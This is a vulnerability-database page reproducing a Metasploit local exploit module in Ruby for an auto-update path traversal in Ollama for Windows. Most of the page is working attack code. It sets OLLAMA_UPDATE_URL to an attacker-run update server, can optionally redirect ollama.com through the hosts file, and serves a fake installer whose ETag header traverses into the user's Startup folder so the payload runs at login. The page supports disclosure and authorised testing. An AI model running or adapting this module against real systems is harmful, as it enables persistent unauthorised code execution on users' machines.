Lucene search
+L

Ollama Windows Auto-Update Path Traversal Persistence

🗓️ 29 Apr 2026 00:00:00Reported by Bartłomiej Dmitruk, h00dieType 
metasploit
 metasploit
🔗 www.rapid7.com👁 3 Views

Path traversal in Ollama Windows auto-update allows persistence via startup folder.

Related
Code
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Local::Persistence
  include Msf::Post::Windows::Registry
  prepend Msf::Exploit::Remote::AutoCheck

  HOSTS_PATH = 'C:\\Windows\\System32\\drivers\\etc\\hosts'
  UPDATE_HOSTNAME = 'ollama.com'
  PAYLOAD_FILENAME = 'OllamaSetup.exe'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ollama Windows Auto-Update Path Traversal Persistence',
        'Description' => %q{
          Ollama for Windows versions 0.12.10 through 0.22.1 are vulnerable to a
          path traversal attack (CVE-2026-42249) in the auto-update download mechanism,
          combined with a completely absent signature verification function
          (CVE-2026-42248). Payloads are written to the startup folder
          and executed at next login.
        },
        'Author' => [
          'Bartłomiej Dmitruk', # Discovery and PoC
          'h00die' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2026-42248'],
          ['CVE', '2026-42249'],
          ['URL', 'https://www.striga.ai/research/ollama-windows-auto-update-rce'],
          ['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION]
        ],
        'Platform' => ['win'],
        'Arch' => [ARCH_X64, ARCH_X86],
        'SessionTypes' => ['meterpreter'],
        'Targets' => [
          ['Automatic', {}]
        ],
        'DefaultTarget' => 0,
        'Privileged' => false,
        'DisclosureDate' => '2026-04-29',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES],
          'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION]
        }
      )
    )

    register_options([
      OptBool.new('MODIFY_HOSTS', [true, 'Also add an ollama.com entry to the HOSTS file (setx always runs regardless)', false]),
      OptString.new('BASE_PATH', [false, 'Base URI path for the fake update server.', '/'])
    ])
  end

  def check
    raw = create_process('ollama', args: ['--version'])
    return CheckCode::Unknown('ollama binary not found or returned no output') if raw.nil? || raw.strip.empty?

    # "ollama version 0.21.0" or just "0.22.1"
    version_str = raw.strip.match(/(\d+\.\d+\.\d+)/)&.captures&.first
    return CheckCode::Unknown("Could not parse version from: #{raw.strip}") unless version_str

    vprint_status("Ollama version detected: #{version_str}")

    target_v = Rex::Version.new(version_str)
    vuln_min = Rex::Version.new('0.12.10')
    vuln_max = Rex::Version.new('0.22.1') # patched in 0.23.0, unmentioned in patch notes, but tested and is fixed

    unless target_v >= vuln_min && target_v <= vuln_max
      return CheckCode::Safe("Ollama #{version_str} is not vulnerable")
    end

    CheckCode::Appears("Ollama #{version_str} is vulnerable")
  end

  def install_persistence
    @payload_name = PAYLOAD_FILENAME

    @payload_exe = generate_payload_exe

    # filepath.Join(UpdateStageDir, etag, filename) is resolved without sanitisation.
    # UpdateStageDir = %APPDATA%\Ollama\updates = ...\AppData\Roaming\Ollama\updates
    # Three ".." hops: updates -> Ollama -> Roaming -> AppData
    # Then down into Roaming\Microsoft\Windows\Start Menu\Programs\Startup
    @etag_traversal = '../../../Roaming/Microsoft/Windows/Start Menu/Programs/Startup'

    configured = datastore['BASE_PATH'].to_s.strip
    configured = '/' if configured.empty?
    @base_path = configured.start_with?('/') ? configured : "/#{configured}"

    print_status("Starting fake update server on #{Rex::Socket.to_authority(srvhost_addr, srvport)}")
    begin
      start_service({
        'Uri' => {
          'Proc' => method(:on_request_uri),
          'Path' => @base_path
        }
      })
    rescue RuntimeError => e
      raise unless e.message.include?('already added')

      # ServiceManager returned an existing server that still has this path registered
      # from a previous run. Replace the stale handler with the current one.
      remove_resource(@base_path)
      add_resource({ 'Path' => @base_path, 'Proc' => method(:on_request_uri) })
      print_status('Reusing existing HTTP service with updated handler')
    end

    url_base = @base_path == '/' ? '' : @base_path
    update_url = "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{url_base}/api/update"
    configure_update_url(update_url)
    modify_hosts_file if datastore['MODIFY_HOSTS']

    print_status("Payload will land at: %APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\#{@payload_name}")
    print_status('Waiting for Ollama background update poller to fire...')

    report_vuln(
      host: session.session_host,
      name: 'Ollama Windows Auto-Update Path Traversal Persistence',
      refs: references
    )
  end

  def on_request_uri(cli, request)
    vprint_status("#{request.method} #{request.uri}")

    path = request.uri.split('?').first
    if path.end_with?('/api/update')
      serve_update_check(cli, request)
    elsif path.include?('/download/')
      serve_payload(cli, request)
    else
      send_response(cli, '', { 'code' => 404 })
    end
  end

  private

  def configure_update_url(update_url)
    # setx writes the variable permanently into HKCU\Environment — survives reboot
    # and is visible to all future processes for this user, including the Ollama updater.
    result = create_process('setx', args: ['OLLAMA_UPDATE_URL', update_url])
    if result =~ /SUCCESS/i
      print_good("OLLAMA_UPDATE_URL set via setx: #{update_url}")
      @clean_up_rc << "execute -f cmd.exe -a '/c reg delete HKCU\\\\Environment /v OLLAMA_UPDATE_URL /f' -H\n"
    else
      print_warning("setx may have failed (#{result.strip}) — try setting OLLAMA_UPDATE_URL manually")
    end
  end

  def modify_hosts_file
    unless file_exist?(HOSTS_PATH)
      print_warning("HOSTS file not found at #{HOSTS_PATH} — skipping hosts modification")
      return
    end

    current = read_file(HOSTS_PATH) || ''
    entry = "#{srvhost_addr}\t#{UPDATE_HOSTNAME}"

    if current.include?(UPDATE_HOSTNAME)
      print_warning("#{UPDATE_HOSTNAME} already present in HOSTS file — skipping")
      return
    end

    updated = current.rstrip + "\r\n#{entry}\r\n"
    unless write_file(HOSTS_PATH, updated)
      fail_with(Failure::NoAccess, "Failed to update #{HOSTS_PATH}; administrative privileges may be required")
    end

    print_good("Added '#{entry}' to #{HOSTS_PATH}")
    @clean_up_rc << "execute -f cmd.exe -a '/c findstr /v /i /c:\"#{entry}\" \"#{HOSTS_PATH}\" > \"#{HOSTS_PATH}.tmp\" & move /y \"#{HOSTS_PATH}.tmp\" \"#{HOSTS_PATH}\"' -H\n"
  end

  def serve_update_check(cli, request)
    client_version = request.qstring['version']
    fake_version = client_version ? Rex::Version.new(client_version).bump.to_s : '0.23'
    url_base = @base_path == '/' ? '' : @base_path
    download_url = "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{url_base}/download/OllamaSetup.exe"
    body = { 'version' => fake_version, 'url' => download_url }.to_json
    print_status("Update check received (client #{client_version}) — advertising #{fake_version}")
    send_response(cli, body, {
      'Content-Type' => 'application/json',
      'code' => 200
    })
  end

  def serve_payload(cli, request)
    headers = {
      'Content-Type' => 'application/octet-stream',
      'Content-Length' => @payload_exe.length.to_s,
      'ETag' => @etag_traversal,
      'Content-Disposition' => "attachment; filename=\"#{@payload_name}\""
    }

    if request.method == 'HEAD'
      send_response(cli, '', headers.merge('code' => 200))
    else
      send_response(cli, @payload_exe, headers.merge('code' => 200))
      print_good("Payload served as #{@etag_traversal}/#{@payload_name} — will execute silently at next user login")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Apr 2026 00:00Current
5.7Medium risk
Vulners AI Score5.7
CVSS 3.19.8
CVSS 47.7
EPSS0.00986
SSVC
3